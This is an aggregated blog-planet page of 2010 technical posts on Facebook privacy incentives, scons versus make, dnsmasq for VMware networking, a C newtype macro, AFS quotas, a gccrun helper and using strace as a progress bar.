by nelhage at November 30, 2010 04:58 PM

November 22, 2010

Facebook’s privacy settings: another look

Much has been made in the news recently about Facebook’s relative lack of privacy controls, and the degree to which they’re hidden and made unintuitive to use. Naturally, people have been speculating about why they do this. The intuitive answer, and the one that I’ve heard a lot of people claim, is that it allows them to sell data to advertisers; the reasoning goes that they can’t sell your data to third parties and make money off of you if your profile settings are all set to private. But as far as I know this isn’t the case; I’ve got all my Facebook data pretty locked down; the only information about me if you’re not my friend is my name and a picture of me, which I figure is enough to allow people I know to friend me while being certain that they’re getting the right me. Yet I still get ads that I know are targeted to me because they mention my college, my location, etc.

Instead, I suspect that the real money that Facebook makes off of people who don’t have their information private is off advertising impressions. A lot of people, when they want to find more about someone, will immediately check Facebook to see if they have a profile, and if they do, they’ll spend a while ‘stalking’ them on it. If the ‘stalkee’ has their information private and the stalker isn’t friends with them, then they have to send a friend request, which means that most of the time they’ll back off. But if the stalkee’s information is public, then the stalker can spend large amounts of time looking at their information. Which means large amounts of pageviews, and large amounts of advertisements being displayed to them, which means more money for Facebook. And I think that that’s one point that a lot of people miss when they write about Facebook; not only do they want you to put all of your information on there so they can sell it, they want you to put your information on there so that other people will spend time on their site looking at your information.

by Patrick Hurst at November 22, 2010 11:34 PM

November 07, 2010

Why scons is cool

I’ve recently started playing with scons a little for some small personal projects. It’s not perfect, but I’ve rapidly come to the conclusion that it’s a probably far better choice than make in many cases. The main exceptions would be cases where you need to integrate into legacy build systems, or if asking or expecting developers to have scons installed is unreasonable for some reason.

The main reason that scons is cool to me, and the thing that makes it fundamentally different from make, is the introduction of actual scoping.

make has a single global scope. This is one of the main reasons that people write recursive Makefiles; By giving you one file per directory, you get one scope per directory, which makes it possible to have per-directory pattern rules, variables, and all that other stuff, without driving yourself insane.

make‘s awful syntax, confusing varieties of variable, whitespace-sensitivity, and all the other things that people love to bitch about are annoying, but to my mind, the single scope that makes recursive Makefiles the dominant (and, really, the only scalable) paradigm is the one thing that really sucks.

scons solves this by baking various kinds of scoping into the tool. scons lets you include sub-build-scripts (typically named SConscript, by convention). Those scripts run in their own namespace and can establish their own variables, rules, etc., but the end result is then merged back into the global rule list (handling sub-directory paths intelligently), so that the scheduler can work globally, instead of having to recurse.

Furthermore, because of this explicit scoping, you can pass variables, including targets, between build files, letting you explicitly set up cross-directory dependencies or share CFLAGS or other variables, making it easy for different directories to share exactly as much or as little configuration as you want.

In addition, scons has the concept of “build environments”, which are objects that include build rules, variables, and so on. By reifying what make just represents as the global environment into objects, it makes it much easier to scope and program things. For example, if you have a set of targets that should be built using the global default rules, except with debugging enabled, you can do:

myenv = env.Clone()
myenv.Append(CFLAGS = ['-g'])
myenv.Program(...)

By making it (optionally) explicit which sets of rules and variables are being used in each place, it becomes much easier to share multiple kinds of targets and rule sets in a single file, without necessitating lots of sub-files just for scoping, like make tends to lead to.

scons is cool for a bunch of reasons. It eliminates most of the stupid little annoyances you’ve probably had with make. But, in my mind, this is the thing that makes it cool. They’ve added sane scoping to the build tool, so that you can construct non-recursive build systems without going insane.

I’ll definitely be considering scons for any new projects I write going forward. I hate make, and this definitely feels like a path forward.

by nelhage at November 07, 2010 10:00 PM

October 25, 2010

Configuring dnsmasq with VMware Workstation

I love VMware workstation. I keep VMs around for basically every version of every major Linux distribution, and use them heavily for all kinds of kernel testing and development.

This post is a quick writeup of my networking setup with VMware Workstation, using dnsmasq to assign my VMs addresses and provide a DNS server to resolve VM addresses.

The objective

I want to be able to resolve my VM’s hostnames so that I can ssh to them, or run other network services and access them from the host. I could just assign static addresses and put them in /etc/hosts, but that’s totally lame, and liable to be a source of error and frustration, because I have dozens of VMs, and add and remove them frequently.

We’re going to set things up so that when VMs get addresses from DHCP, their hostnames automatically become resolvable, using the .vmware domain. To do this, we’re going to set up a piece of software called dnsmasq, which is a flexible DNS and DHCP server, designed for basically exactly this purpose.

The setup

Because I use my VMs for local testing, I just keep most of them on a local NAT on my machine. I configure that virtual network inside VMware as follows (run vmware-netconfig, or follow the appropriate menus):

Note how I disable “Use local DHCP service to distribute IP addresses to VMs” — we’re going to set up dnsmasq to prove DHCP, so we don’t want it fighting with VMware’s.

Notice that the subnet I’m using here is 172.16.37.* — if you choose a different one, you’ll need to adjust accordingly later.

Configuring dnsmasq

Then, I install dnsmasq, and configure /etc/dnsmasq.conf as follows:

listen-address=172.16.37.1
listen-address=127.0.0.1
no-dhcp-interface=lo

server=192.168.1.1
local=/vmware/

no-hosts
no-resolv

domain=vmware
dhcp-fqdn

dhcp-range=172.16.37.3,172.16.37.200,12h
dhcp-authoritative
dhcp-option=option:router,172.16.37.2

Here’s what each of those lines mean, in order:

listen-address=172.16.37.1
listen-address=127.0.0.1
no-dhcp-interface=lo

We don’t want dnsmasq serving DHCP or DNS to the outside world or other virtual networks, so we only tell it to listen on the local interface — so that we can talk to it from the host — and to the virtual network we set up in the previous step. We don’t want it serving DHCP to localhost, though, so we tell it not to.

server=192.168.1.1
local=/vmware/

Here we tell dnsmasq how to forward DNS requests to the outside world. We’re going to be using dnsmasq as our primary nameserver, and having it forward requests for things it doesn’t understand to a real DNS server. In my case, that’s my LAN’s router, at 192.168.1.1. The local line tells dnsmasq that the .vmware domain is local, and it should never forward requests to resolve things in that domain.

If I needed something more complicated, it might be possible to use the resolv-file option or similar, but I don’t, personally.

no-hosts
no-resolv

These options tell dnsmasq not to look at resolv.conf or /etc/hosts when resolving names — we want it only to resolve VMs itself, and to forward everything else.

domain=vmware
dhcp-fqdn

This tells dnsmasq to assign the .vmware domain to hosts it hands out DHCP to, so that we can resolve VMs in the .vmware domain.

dhcp-range=172.16.37.3,172.16.37.200,12h
dhcp-authoritative

And finally, we configure the DHCP server. We give it a range of addresses to assign on the subnet we created earlier. I stop at .200, so that I can leave the last few open for static IPs if I need for some reason, and we start at .3 — .1 is the host, and .2 is the address of VMware’s router. dhcp-authoritative enables some optimizations when dnsmasq knows it is the only DHCP server around.

dhcp-option=option:router,172.16.37.2

Finally, we need dhcp-option to tell DHCP clients to use the VMware-provided router at .2 as their gateway, instead of using the host, at .1. We could configure the host to be a NAT server using Linux’s NAT, but that’s outside the scope of this document.

Configuring the host

Now, we need to configure the host to use dnsmasq as our DNS server. This is a simple matter of telling the host to use 127.0.0.1 as our DNS server, and to add .vmware to our search path. If we’re editing resolv.conf directly, it would look like:

search vmware
nameserver 127.0.0.1

Configuring guests

We need to configure our guests to send a hostname along with their DHCP requests, so that dnsmasq can add them to its address table. How to do this varies by OS, but most modern OSes do it automatically. If they don’t, here are a few hints:

For RHEL-based distros, edit /etc/sysconfig/network-scripts/ifcfg-INTERFACE, and add a line like

 DHCP_HOSTNAME=centos-5-amd64

For most other Linux distributions, you can often edit dhclient.conf (usually in /etc/ or /etc/dhclient/) to include:

 send host-name "centos-5-amd64";

Or, with a recent dhclient,

 send host-name "<hostname>";

will make it look up the machine’s actual hostname.

Conclusions

That’s all there is to it. This is a pretty simple setup, but hopefully someone else will find this useful. If you need dnsmasq to do something more subtle, the documentation is mostly quite good.

by nelhage at October 25, 2010 03:15 AM

October 11, 2010

Using Haskell’s ‘newtype’ in C

A common problem in software engineering is avoiding confusion and errors when dealing with multiple types of data that share the same representation. Classic examples include differentiating between measurements stored in different units, distinguishing between a string of HTML and a string of plain text (one of these needs to be encoded before it can safely be included in a web page!), or keeping track of pointers to physical memory or virtual memory when writing the lower layers of an operating system’s memory management.

Unless we’re using a richly-typed language like Haskell, where we can use newtype, the best solutions tend to just rely on convention. The much-maligned Hungarian Notiation evolved in part to try to combat this sort of problem — If you decide on a convention that variables representing physical addresses start with pa and virtual addresses start with va, then anyone who encounters a uintptr_t pa_bootstack; can immediately decode the intent.

It turns out, though, that we can get something very much like newtype in familiar old C. Suppose we’re writing some of the paging code for a toy x86 architecture. We’re going to be passing around a lot of physical and virtual addresses, as well as indexes of pages in RAM, and it’s going to be easy to confuse them all. The traditional solution is to use some typedefs, and then promise to be very careful to mix them up:

typedef uint32_t physaddr_t;
typedef uint32_t virtaddr_t;
typedef uint32_t ppn_t;

We have to promise not to mess up, though — the compiler isn’t going to notice if I pass a ppn_t to a function that wanted a physaddr_t.

This example was inspired by JOS, a toy operating system used by MIT’s Operating Systems Engineering class. JOS remaps all of physical memory starting at a specific virtual memory address (KERNBASE), and so provides the following macros:

/* This macro takes a kernel virtual address -- an address that points above
 * KERNBASE, where the machine's maximum 256MB of physical memory is mapped --
 * and returns the corresponding physical address.  It panics if you pass it a
 * non-kernel virtual address.
 */
#define PADDR(kva)                                          \
({                                                          \
        physaddr_t __m_kva = (physaddr_t) (kva);            \
        if (__m_kva < KERNBASE)                                     \
                panic("PADDR called with invalid kva %08lx", __m_kva);\
        __m_kva - KERNBASE;                                 \
})

/* This macro takes a physical address and returns the corresponding kernel
 * virtual address.  It panics if you pass an invalid physical address. */
#define KADDR(pa)                                           \
({                                                          \
        physaddr_t __m_pa = (pa);                           \
        uint32_t __m_ppn = PPN(__m_pa);                             \
        if (__m_ppn >= npage)                                       \
                panic("KADDR called with invalid pa %08lx", __m_pa);\
        (void*) (__m_pa + KERNBASE);                                \
})

Because the typedefs are unchecked by the compiler, though, it is a common mistake to use a physical address where a virtual address is meant, and nothing will catch it until your kernel triple-faults, and a long, painful debugging session ensues.

Inspired by Haskell’s newtype, though, it turns out we can get the compiler to check it for us, with a little more work, by using a singleton struct instead of a typedef:

typedef struct { uint32_t val; } physaddr_t;

If we wanted to be overly cute, we could even use a macro to mimic Haskell’s newtype:

#define NEWTYPE(tag, repr)                  \
    typedef struct { repr val; } tag;       \
    static inline tag make_##tag(repr v) {  \
            return (tag){.val = v};         \
    }                                       \
    static inline repr tag##_val(tag v) {   \
            return v.val;                   \
    }

NEWTYPE(physaddr, uint32_t);
NEWTYPE(virtaddr, uint32_t);
NEWTYPE(ppn,  uint32_t);

Given those definitions, PADDR and KADDR become:

#define PADDR(kva)                                          \
({                                                          \
    if (virtaddr_val(kva) < KERNBASE)                       \
            panic("PADDR called with invalid kva %08lx", virtaddr_val(kva)); \
    make_physaddr(virtaddr_val(kva) - KERNBASE);            \
})

#define KADDR(pa)                                           \
({                                                          \
    uint32_t __m_ppn = physaddr_val(pa) >> PTXSHIFT;        \
    if (__m_ppn >= npage)                                   \
            panic("KADDR called with invalid pa %08lx", physaddr_val(pa)); \
    make_virtaddr(physaddr_val(pa) + KERNBASE);             \
})

We have to use some accessor and constructor functions, but in exchange, we get strong type-checking: If you pass PADDR a physical address (or anything other than a virtual address), the compiler will catch it.

The wrapping and unwrapping is slightly annoying, but we can for the most part avoid having to do it everywhere, by pushing the wrapping and unwrapping down into some utility functions. For instance, a relatively common operation at this point in JOS is creating a page-table entry, given a physical address. If you want to construct the PTE by hand, you need to use physaddr_val every time. But a better plan is a simple utility function:

 static inline pte_t make_pte(physaddr addr, int perms) {
     return physaddr_val(addr) | perms;
 }

In addition to losing the need to unwrap the physaddr everywhere, we gain a measure of clarity and typechecking — if you remember to use make_pte, you’ll never accidentally try to insert a virtual address into a page table.

We can add similar functions for converting between types, as well a a struct Page, used to track metadata for a physical page. As an experiment, I went and reimplemented JOS’s memory management primitives using these definitions, and only needed to use FOO_val or make_FOO a very few times outside of the header files that defined KADDR and friends.

Performance

While the typechecking is nice, any C programmer implementing a memory-management system is probably going to want to know: How much does it cost me? You’re creating and unpacking these singleton structs everywhere – does that have a cost?

The answer, though, in almost all cases is “no” — A half-decent compiler will optimize the resulting code to be completely identical to the code without the structs, in almost all cases.

Also, the in-memory representation of the struct is going to be exactly the same as the bare value — it’s even guaranteed to have the same alignment and padding constraints, so if you need to embed a physaddr inside another struct, or into an array, the representation is identical to the physaddr_t typedef.

On i386, parameters are passed on the stack, so that means that passing the struct is identical to passing the uint32_t. On amd64, as described last week, small structures are passed in registers, and so, again, the calling convention is identical.

Unfortunately, the i386 ABI specifies that returned structs always go on the stack (while integers go in %eax), so you do pay slightly if you want to return one of these typedef’d objects. amd64 will also break it down into a register, though, so on a 64-bit machine it’s again identical.

If you’re worried, though, you can always use the preprocessor to make the checks vanish for a production build:

#ifdef NDEBUG
#define NEWTYPE(tag, repr)                  \
    typedef repr tag;                       \
    static inline tag make_##tag(repr v) {  \
            return v;                       \
    }                                       \
    static inline repr tag##_val(tag v) {   \
            return v;                       \
    }
#else
/* Same definition as above */
#endif

Because the types have identical representations, you can safely serialize your structs and exchange them between code compiled with either version. On amd64, you can probably even call between compilation units defined either way.

The next time you’re writing some subtle C code that has to deal with multiple types with the same representation, I encourage you to consider using this trick.

Addendum

I didn’t invent this trick, although as far as I know the NEWTYPE macro is my own invention (Edited to add: A commenter points out that I’m not the first to use the newtype name in C, although I think I prefer my implementation).

. I learned this trick from the Linux kernel, which uses it for a very similar application — distinguishing entries in different levels of the x86 page tables. page.h on amd64 includes following definitions [Taken from an old version, but the current version has equivalent ones):

/*
 * These are used to make use of C type-checking..
 */
typedef struct { unsigned long pte; } pte_t;
typedef struct { unsigned long pmd; } pmd_t;
typedef struct { unsigned long pud; } pud_t;
typedef struct { unsigned long pgd; } pgd_t;

I claimed above that the struct and the bare type will have the same alignment and padding. I don’t believe this is guaranteed by C99, but the SysV amd64 and i386 ABI specifications both require:

Structures and unions assume the alignment of their most strictly aligned component. Each member is assigned to the lowest available offset with the appropriate alignment. The size of any object is always a multiple of the object’s alignment.

(text quoted from the amd64 document, but the i386 one is almost identical).

And C99 requires (§6.7.2.1 para 13):

… A pointer to a structure object, suitably converted, points to its initial member (or if that member is a bit-field, then to the unit in which it resides), and vice versa. There may be unnamed padding within a structure object, but not at its beginning.

I believe these requirements, taken together, should be enough to ensure that the struct and the bare type will have the same representation.

by nelhage at October 11, 2010 05:11 PM

September 18, 2010

scripts.mit.edu Fedora 13 Transition

On Sunday, September 26, 2010, all of the scripts.mit.edu servers will be upgraded from Fedora 11 to Fedora 13, which was released on May 25. We strongly encourage you to test your website as soon as possible, and to contact us at scripts@mit.edu or come to our office in W20-557 if you experience any problems. The easiest way to test your site is to run the following commands at an Athena workstation and then visit your website in the browser that opens, but see this page for more details and important information:

athena% add scripts
athena% firefox-test

by ezyang at September 18, 2010 10:04 PM

August 30, 2010

The Quota Corollary to Parkinson’s Law

Parkinson’s Law, the famous quote from his 1955 essay, claims, “Work expands so as to fill the time available for its completion.” It seems there is an analogous principle for disk space:

Date: Mon, 10 Sep 2007 23:05:25 -0400 (EDT)
To: accounts@mit.edu
Subject: AFS quota increase

Hi,

Could I get my quota increased a little bit? I have a LOT of medium-size files for various projects… I tried to clear up my homedir about a month ago but it didn’t help more than about 100 MB. And today my usage jumped from 98% to 99% when I uploaded my first pset (for 6.170)…

Thanks,

Date: Thu, 4 Sep 2008 01:32:00 -0400 (EDT)
To: accounts@mit.edu
Subject: Quota bump

Hi,

Classes already having started, it’s going to be hard to spend time cleaning out my AFS volume and e-mail this week, although I’ll do so soon (I should probably move the things I don’t need regular access to to other storage, anyway). Any chance I could please have a little bit of a quota bump on each so I can do the first assignment for my classes without worrying?

Thanks,

Date: Tue, 1 Sep 2009 15:05:00 -0400 (EDT)
To: accounts@mit.edu
Subject: quota bump for my locker

Hi Accounts,

Can I get more Athena quota on the grounds that it would be helpful for continuing to work on Athena, or something? :)

Also, term is starting soon… I did look around for things that seem potentially likely to be removable, but nothing stands out. I can look harder or try moving things to other storage if you’d prefer I start with that.

Thanks a bunch,

Here are the current official disk policies:

maximum volume sizes

reference snapshots (eg unchanging CD/DVD images) — 25G

swmaint/rel-eng — 12G (but negotiable)

course/cwis/leased — 12G

quotas (user homedirs and activity lockers)

default: 2G

if they ask for more: 4G

and justify it: 6G

and are Thesing and have a signed letter from the Pope: 8G

(sufficient academic need may substitute for the Papal letter)

My freshman year, the second half was 1G/1.5G/2G/3G (unchanged since 2004), so at least there’s more breathing room. But still, note carefully,

$ fs listquota
Volume Name                    Quota       Used %Used   Partition
user.geofft                  8000000    7586330   95%<<       78%    <<WARNING

I guess it makes sense: in the normal case, there isn’t a lot of incentive for me to care about disk space, and it’s not a worthwhile use of my time until pressure appears. Even so, I find it amusing that no matter how many quota bumps I’ve already had or how many iterations of Moore’s Law have doubled my quota without even asking, it has become a tradition that every fall (except my freshman year), before classes start, I’ve used 95% of my quota. Files expand so as to fill the disk available for their storage.

Looking at the policy, I guess this time I don’t have a choice but to clean it up.

by geofft at August 30, 2010 06:22 AM

August 23, 2010

Testing C code from the command line: gccrun

I wrote a little utility the other day before I found myself in need of it: it takes its argument, compiles it as the body of a C program, and runs it.

This is way more convenient than you’d think at first glance: it turns out that, for one- or two-line programs where you’re just testing how something works, when 80% of your program is include boilerplate and making a source file and running gcc followed by the program, you’re somewhat disinclined to test small things. When you have a utility like this, you end up using it a lot…

How many file descriptors can I open?

dr-wily:~ geofft$ gccrun 'int fd; while ((fd = open("/dev/null", 0)) > 0) printf("%d\n", fd);' | tail -1
1023


What error does that get me?

dr-wily:~ geofft$ gccrun 'while (open("/dev/null", 0) > 0); perror("open");'
open: Too many open files


Can I go higher by not having things open on lower fds, and just opening something on fd 1024?

dr-wily:~ geofft$ gccrun 'dup2(0, 1023); perror("dup2");'
dup2: Success
dr-wily:~ geofft$ gccrun 'dup2(0, 1024); perror("dup2");'
dup2: Bad file descriptor


What is errno 2?

dr-wily:~ geofft$ gccrun 'printf("%s\n", strerror(2));'
No such file or directory


What is my “session leader”?

dr-wily:~ geofft$ gccrun 'printf("%d\n", getsid(0));'
18291
dr-wily:~ geofft$ ps 18291
PID TTY STAT TIME COMMAND
18291 pts/28 Ss 0:00 /bin/bash


This is, of course, no substitute for reading formal docs or writing rigorous tests, but it’s great for getting an intuition about how something works.

gccrun is a very tiny shell script. Most of the convenience comes from it including a bunch of headers by default; recommendations on headers to add, and patches in general, welcome.

by geofft at August 23, 2010 09:58 AM

August 16, 2010

Strace: The Lost Chapter

I wrote another post last week for the Ksplice blog: Strace — The Sysadmin’s Microscope. If you’re running a Linux system, or just writing or maintaining a complex program, sometimes strace is indispensable — it’s the tool that tells you what a program is really doing. My post explains why strace is so good at showing the interesting events in a program (hint: it gets to sit between the program and everything else in the universe), describes some of its key options, and shows a few ways you can use it to solve problems.

Unfortunately there’s only so much you can say in a blog post of reasonable length, so I had to cut some of my favorite uses down to bullet points. Here’s one such use, which I can’t bear to keep off of the Web, just because I thought I was so clever when I came up with it in real life a couple of months ago.

(If you haven’t already, I encourage you to go read the main post first. I’ll be here when you come back.)

Strace As A Progress Bar

Sometimes you start a command, and it turns out to take forever. It’s been three hours, and you don’t know if it’s going to be another three hours, or ten minutes, or a day.

This is what progress bars were invented for. But you didn’t know this command was going to need a progress bar when you started it.

Strace to the rescue. What work is your program doing? If it’s touching anything in the filesystem while it works, or anything on the network, then strace will tell you exactly what it’s up to. And in a lot of cases, you can deduce how far into its job it’s gotten.

For example, suppose our program is walking a big directory tree and doing something slow. Let’s simulate that with a synthetic directory tree and a find that just sleeps for each directory:

  $ mkdir tree && cd tree
  $ for i in $(seq 1000); do mktemp -d -p .; done >/dev/null
  $ find . -exec sleep 1 \;

Well, this is taking a while. Let’s open up another terminal and ask strace what’s going on:

  $ pgrep find
  2714
  $ strace -p 2714
  [...]
  open("tmp.HvbzfbbWSa", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 5
  fstat(5, {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
  fchdir(5)                               = 0
  getdents(5, /* 2 entries */, 4096)      = 48
  getdents(5, /* 0 entries */, 4096)      = 0
  close(5)                                = 0
  open("..", O_RDONLY|O_NOCTTY|O_NONBLOCK|O_DIRECTORY|O_NOFOLLOW) = 5
  fstat(5, {st_mode=S_IFDIR|0755, st_size=36864, ...}) = 0
  fchdir(5)                               = 0
  close(5)                                = 0
  newfstatat(AT_FDCWD, "tmp.MiHDWiBURu", {st_mode=02, st_size=17592186044416, ...}, AT_SYMLINK_NOFOLLOW) = 0
  clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb19c92a770) = 13044
  wait4(13044, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 13044
  --- SIGCHLD (Child exited) @ 0 (0) ---
  open("tmp.MiHDWiBURu", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 5
  fstat(5, {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
  fchdir(5)                               = 0
  [...]

The find just looked at tmp.HvbzfbbWSa, and now it’s going into tmp.MiHDWiBURu. How far is that into the total? ls will tell us the list of directories that the find is working from; we just have to tell it to give them to us in the raw, unsorted order that the parent directory lists them in, with the -U flag. And then grep -n will tell us where in that list the entry tmp.HvbzfbbWSa appears:

  $ ls -U | grep -n tmp.HvbzfbbWSa
  258:tmp.HvbzfbbWSa
  $ ls -U | grep -n tmp.MiHDWiBURu
  259:tmp.MiHDWiBURu
  $ ls -U | wc -l
  1000

So tmp.HvbzfbbWSa is entry 258 out of 1000 entries in this directory — we’re 25.8% of the way there. If it’s been four minutes so far, then we should expect about twelve more minutes to go.

(But With The Benefit Of Foresight…)

I’d be remiss if I taught you this hackish approach without mentioning that if you realize you want a progress bar before you start the command, you can do it much better — after all, the ‘progress bar’ above doesn’t even have a bar, except in your head.

Check out pv, the pipe viewer. In my little example, you’d have the command itself print out where it is, like so:

  $ find . -exec sh -c 'echo $1 && sleep 1' -- \{\} \;
  .
  ./tmp.BToqLElOGC
  ./tmp.xnuhzmGbOP
  [...]

and then you could get a real, live, automatically-updated progress bar, like so:

  $ find . -exec sh -c 'echo $1 && sleep 1' -- \{\} \; \
     | pv --line-mode --size=$(find . | wc -l) >/dev/null
   175 0:02:57 [0.987/s ] [=====>                               ] 17% ETA 0:13:55

Here we’ve passed --line-mode to make pv count lines instead of its default of bytes, and --size with an argument to tell it how many lines to expect in total. Even if you can’t estimate the size, pv will cheerfully tell you how far you’ve gone, how long it’s been, and how fast it’s moving right now, which can still be handy. pv is a pretty versatile tool in its own right — explaining all the ways to use it could be another whole blog post. But the pv man page is a good start.

That’s Just One

There’s lots of other ways to use strace — starting with the two I described in my main post, and the three more, besides this one, that I only mentioned there. I don’t really know anymore how I used to manage without it.

Liked this post? Subscribe and keep ‘em coming.

by Greg Price at August 16, 2010 04:50 AM

Powered by Planet Venus!
Last updated: May 16, 2012 07:37 PM